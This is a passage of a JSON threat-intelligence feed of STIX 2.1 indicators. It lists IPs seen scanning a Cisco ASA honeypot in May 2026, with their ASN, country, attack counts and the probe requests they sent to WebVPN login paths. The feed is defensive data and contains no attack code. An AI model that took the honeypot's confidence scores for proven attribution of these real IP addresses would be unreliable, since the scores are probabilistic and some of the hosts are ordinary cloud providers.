            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--618faac1-520f-4fc1-872d-75d03d1cc3c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.214.49.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T05:07:53.335Z",
          "last_seen": "2026-05-29T05:08:05.962Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2fcefe35-5aed-44a4-b5cb-67349cf6a6b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.103.179.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T04:25:30.842Z",
          "last_seen": "2026-05-29T14:51:45.171Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--c66488fd-2029-46c0-aa95-b7164017f1d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.61.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T05:22:35.437Z",
          "last_seen": "2026-05-29T05:22:48.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--5119606b-2656-475c-98c2-61568e8b15b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.157.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T06:18:57.474Z",
          "last_seen": "2026-05-29T06:19:10.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--a087cf9d-c365-4d73-92cb-277c6d8e3b43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.255.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T18:05:54.326Z",
          "last_seen": "2026-05-29T05:46:03.729Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b5a2a3ba-5e09-4a1a-a49e-280391a1a15a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-29T05:46:32.002Z",
          "last_seen": "2026-05-29T05:46:37.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0461ad34-1907-46a9-86d1-9c042b1d0ecb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.201.146.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T05:34:19.428Z",
          "last_seen": "2026-05-29T05:34:19.428Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--81212c45-3ff8-462e-bbca-1f26ff2aa51b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.212.18.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T05:38:25.005Z",
          "last_seen": "2026-05-29T05:38:25.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--c031da52-84ac-4c80-844a-e3febf31158b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.197.27.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:20:10.000Z",
      "valid_until": "2026-06-30T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-29T05:34:15.287Z",
          "last_seen": "2026-05-29T05:34:18.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--acc26a6c-66b9-44a6-a2ef-835347103d53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.143.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:20:10.000Z",
      "valid_until": "2026-06-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T07:18:21.606Z",
          "last_seen": "2026-05-29T07:18:31.500Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--2c416328-e7ab-4ffa-a968-5425244c4f20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.157.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:20:10.000Z",
      "valid_until": "2026-06-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-29T06:55:13.989Z",
          "last_seen": "2026-05-29T06:55:18.742Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--cdb5b1f7-709c-46fe-bcef-04c29c26933e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.212.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:20:10.000Z",
      "valid_until": "2026-06-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-29T06:55:53.121Z",
          "last_seen": "2026-05-29T06:55:54.026Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--e6c838f2-b133-421e-b848-ec1e2d94090c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.32.104.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:20:10.000Z",
      "valid_until": "2026-06-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T06:29:21.795Z",
          "last_seen": "2026-05-29T06:29:33.866Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ba0bd1f8-584b-466d-bcdc-9e28f71c977e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.69.162.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T07:20:10.000Z",
      "valid_until": "2026-06-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T06:58:57.947Z",
          "last_seen": "2026-05-31T04:25:47.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1a321f2d-5e64-40e0-ab7e-9a926bf7ccb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.205.62.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T07:29:00.472Z",
          "last_seen": "2026-05-29T07:29:12.732Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--880b6232-12cd-48d7-93fb-0018c954000f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.27.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T08:18:45.117Z",
          "last_seen": "2026-05-29T08:18:45.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--6392093d-8a07-4b9d-8b33-be0aaad2b9fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.247.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T07:22:20.550Z",
          "last_seen": "2026-05-29T07:22:32.983Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8a45f8a2-5cd0-423d-ac2b-f4dbcd960981",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.233.105.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T08:13:26.698Z",
          "last_seen": "2026-05-29T08:13:42.638Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--1ed84ab4-8dd5-4cea-96c2-c931284e0de5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.141.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-29T07:47:00.141Z",
          "last_seen": "2026-05-30T06:38:30.801Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--4415c5e0-7b99-49d3-b601-79bbcbd4b0bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.207.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T08:02:53.969Z",
          "last_seen": "2026-05-30T02:40:34.415Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
